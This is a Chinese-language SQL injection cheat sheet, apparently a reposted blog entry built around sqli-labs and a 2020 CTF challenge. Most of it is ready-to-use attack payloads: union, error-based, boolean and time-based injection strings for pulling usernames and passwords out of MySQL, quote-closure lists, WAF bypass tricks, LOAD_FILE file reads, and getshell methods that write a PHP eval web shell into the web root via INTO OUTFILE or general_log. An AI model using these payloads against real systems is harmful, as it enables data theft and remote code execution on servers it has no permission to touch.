sql注入速查手册(不定期更新)

1 利用方式

1.1 回显数据

  • 系统信息收集:常见的使用 * 进行标注

system_user()     系统用户名
user()            MYSQL用户名 
current_user()    当前用户名
session_user()    连接数据库的用户名
database()        当前数据库名(*)
schema()          当前数据库名
version()         当前数据库版本信息
@@version         数据库版本
load_file()       MYSQL读取本地文件(*)

@@datadir         Location of DB files
@@hostname        服务器主机名
@@basedir         MYSQL 安装路径
@@version_compile_os    操作系统

  • 数据库信息收集

-- 查看数据库服务器上的数据库
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

-- 查看某个数据库里面的数据表
SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema ='数据库名'

-- 查看某个数据表里面的字段
--   默认当前数据库
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name ='表名'
--  指定数据库
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name ='表名' AND table_schema ='数据库名'

-- 查找字段名为id的数据库名和表名
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'id';

-- 权限列表
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;

1.2 Getshell


-- outfile获取shell(union)
select '<?php @eval($_POST["pwd"]) ?>' into outfile '可访问web路径'

-- 开启日志获取shell(堆叠)
-- 查看配置
show variables like 'general%';
-- 开启日志
set global general_log = "ON";
-- 设置路径
set global general_log_file='/Users/littlechieh6/Documents/project/sqli-labs-php7/shell.php';
-- 数据写入
select '<?php phpinfo();?>';

2 闭合方式

2.1 常见类型

数字、字符、括号型(单侧)


)
))
'
')
'))
"
")
"))
`
`)
`))
%
%)
%'
%')
%'))
%"
%")
%`
%`)
%`))

2.2 两侧闭合型

insert无法直接回显


?id=1'&&sleep(3)&&'1

2.3 Order by型

验证是否存在


# 升序排序
?sort=1 asc
# 降序排序
?sort=1 desc

# rand() 验证
?sort=rand(true)
?sort=rand(false)

# 延时验证
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)

常见利用方式

  • 报错注入
  • 布尔注入
  • 延时注入

# 报错1
?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

# 报错2
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)

# 布尔注入
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')

# 延时注入
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

# 写webshell
?sort=1 into outfile "/var/www/html/less46.txt"
?sort=1 into outfile "/Users/littlechieh6/Documents/project/sqli-labs-php7/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

3 按回显类型

3.1 联合注入


-- 判断字段数目
order by 1

-- 联合查询收集信息
union select 
-- 查询当前数据库
UNION SELECT 1,2,database() 
-- 查询所有数据库
UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata 
-- 查询表名
UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 
-- 查询列名
UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 
-- 查询字段值
UNION SELECT 1,2,group_concat(id,username,password) from users 

3.2 报错注入

报错注入常见的几种类型:

  1. BIGINT等数据类型溢出
  2. xpath语法错误
  3. concat+rand()+group_by()导致主键重复
  4. 一些特性

参考:MYSQL报错注入的一点总结-先知社区

  • 数据溢出

select ~0+1;
select exp(709);
select (select(!x-~0)from(select(select user())x)a);

  • xpath语法错误

select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
select extractvalue(1,concat(0x7e,(select @@version),0x7e));

3.3 布尔注入


1. 获取当前数据库长度
1" and length(database())>= 11 #()

2. 获取当前数据库名字
1" and substr(database(), 11, 1)="e" #

3. 获取库表的总数(还可以使用length)
1" and (select count(table_name) from information_schema.tables where table_schema=database()) >= 3 #

4. 获取库表的长度
1" and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) >=0 #

5. 获取库表的名字
1" and substr((select table_name from information_schema.tables where table_schema=database() limit 2,1), {pos}, 1)="{c}" #

6. 获取库表的字段总数
1" and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="the_cfg") >= 2 #

7. 获取库表的字段第2个长度
1" and length((select column_name from information_schema.columns where table_schema=database() and table_name="the_cfg" limit 0,1)) >= 0 #

8. 获取库表的字段第N个字段名
1" and substr((select column_name from information_schema.columns where table_schema=database() and table_name="the_cfg" limit 0,1), {pos}, 1)="{c}" #

9. 获取内容
1" and substr((select cfg_value from the_cfg limit 0,1), {pos}, 1)="{c}" #
注意:substr(str,pos,len);需要注意的是:如果 pos 为 1(而不是0),表示从第一个位置开始。
limit pos,len :从 0 开始,后面的 len 代表长度

3.4 时间盲注


# SLEEP
select sleep(5);
# BENCHMARK
select benchmark(10000000,sha(1));
# 笛卡尔积
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
# GET_LOCK
select get_lock('test',5);
# RLIKE
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

4 WAF绕过

  1. 双写
  2. 特殊符号:如:%0b
  3. 宽字节
  4. 两端闭合

实战

2020 年 n1ctf 中 Web-SignIn 一题中用到的 SQL 语句。使用的报错函数与 exp()


# 查询数据库名字
database()

# 查询数据库信息
SELECT concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@version_compile_os)

# 查询文件读取权限
select group_concat(user,0x3a,file_priv) from mysql.user

# 查询当前用户
select user()

# 查询数据库版本
version()

# 查询表名的长度
select length(table_name) from information_schema.tables where table_schema='n1ctf_websign' limit 0,1) < 0

# 查询表名(修改后面的 limit)
select table_name from information_schema.tables where table_schema=DATABASE() limit 1,1

# 判断字段名(修改后面的 limit)
select column_name from information_schema.columns where table_schema=database() and table_name='n1key' limit 0,1# 查询 ip 表。(边插入边查询,需要使用别名)
SELECT tid FROM (select ip tid from n1ip limit 0,1) AS tt

# 查询某个字段的数据(key 与数据库的关键词相冲突,需要使用别名)
select GROUP_CONCAT(id) FROM n1key
select group_concat(bb.key) from n1key bb
select group_concat(key) FROM (SELECT * FROM n1key) as a
select id from n1key limit 0,1
# 不使用字段名度值
SELECT a.2 FROM (SELECT 1, 2 UNION SELECT * FROM n1key

# 判断是否有数据
SELECT (SELECT key FROM n1key) IS NULL

# 查询文件
SELECT LOAD_FILE('/flag')

附录

参考文档:

  1. Mysql 注入-wiki
  2. sqli-labs(全通关刷题笔记)-slug01sh
  3. Onebug.org | 安全防线

猜你喜欢

转载自blog.csdn.net/qq_43085611/article/details/112788640